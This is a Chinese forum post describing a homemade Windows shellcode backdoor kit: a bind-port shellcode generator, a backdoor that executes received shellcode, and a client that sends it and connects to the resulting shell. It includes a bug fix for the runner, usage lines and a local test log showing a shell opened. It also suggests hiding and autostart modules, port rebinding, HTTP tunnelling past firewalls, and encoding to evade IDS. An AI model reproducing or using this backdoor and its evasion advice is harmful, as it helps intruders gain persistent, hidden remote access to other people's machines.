简单做了个测试,也做为学习.顺便提一下.此文中runcode的代码有个bug,必须把
CODE:
memset(tmpcode,0,6000); 改成
CODE:
memset(tmpcode,0x90,6000); 才能正常运行shellcode
QUOTE:
这个压缩包里有三个文件。
gbpsc.exe //这个是原本xfocus《网络渗透技术》中生成bind_port_shellcode的程序,我做了点修改,添加了两个选项 rscb.exe //这个是个runshellcode的后门,由于只是个演示,所以做的很简单,只是bind了个端口然后把传送来的shellcode进行执行然后退出.从黑防上代码修改而来 exploit.c //连接后门的客户端.负责发送shellcode到rscb并自动连接shellcode开出来的shell
gbpsc有两个选项:
C:\>gbpsc Get Bind_Port Shellcode in Windows Author: san, alert7, eyas, watercloud Modified: wofeiwo Date: Jun 15th 2006
Usage:gbpsc [-p bind_port] [-r]
-p: The port to bind,on default bind_port is 3333 -r: Run the Shellcode.
-p选项后面跟着你想bind的端口号,如果不加指定.则默认绑定的port为3333,而-r选项只是用本机测试shellcode是否能运行的.
通过修改gbpsc的原代码,我们可以写出许多其他功能的shellcode,并且在原代码中也有encode功能,使shellcode能够通过ids的特殊字符检查.这也同样是为什么shellcode backdoor难以查杀以及多功能的原因.
rscb只有一个可选的选项:
C:\>rscb Usage: rscb [port] On default port is 33333
如果不指定后门绑定的port,则绑定33333端口.
如果强化这个后门,加上隐藏模块以及自启动模块,再加上端口重绑定,就是一个十分强大的后门了,或者用他来监视http进程.而shellcode则用http tunnel技术进行包装,那么基本可以通过决大多数的firewall.
exploit.c这个文件只要简单编译就行了,如果你使用了-p参数修改了shellcode绑定的端口,在替换shellcode的同时注意修改下PORT的值.运行时共两个参数:
C:\>exploit Usage: exploit remote_addr remote_port
一看就明白,一个是远程server地址,一个是远程监听的port.
现在我本地测试下这个run shellcode backdoor:
C:\>rscb 1234 Usage: rscb [port] On default port is 33333
[+] Listen...
另开个cmd: C:\>exploit 127.0.0.1 1234 Microsoft Windows XP [版本 5.1.2600] (C) 版权所有 1985-2001 Microsoft Corp.
C:\>netstat -an netstat -an
Active Connections
Proto Local Address Foreign Address State TCP 0.0.0.0:135 0.0.0.0:0 LISTENING TCP 0.0.0.0:445 0.0.0.0:0 LISTENING TCP 0.0.0.0:1234 0.0.0.0:0 LISTENING TCP 0.0.0.0:3333 0.0.0.0:0 LISTENING TCP 127.0.0.1:1025 0.0.0.0:0 LISTENING TCP 127.0.0.1:1120 127.0.0.1:1234 ESTABLISHED TCP 127.0.0.1:1121 127.0.0.1:3333 ESTABLISHED TCP 127.0.0.1:1234 127.0.0.1:1120 ESTABLISHED TCP 127.0.0.1:3333 127.0.0.1:1121 ESTABLISHED UDP 0.0.0.0:445 *:* UDP 0.0.0.0:500 *:* UDP 0.0.0.0:4500 *:* UDP 0.0.0.0:30167 *:* UDP 127.0.0.1:123 *:* UDP 127.0.0.1:1900 *:*
C:\>exit exit [-] Connection closed.
成功,注意看上面的连接,TCP:1234是rscb监听的端口,而3333则是我们shellcode开启的端口 |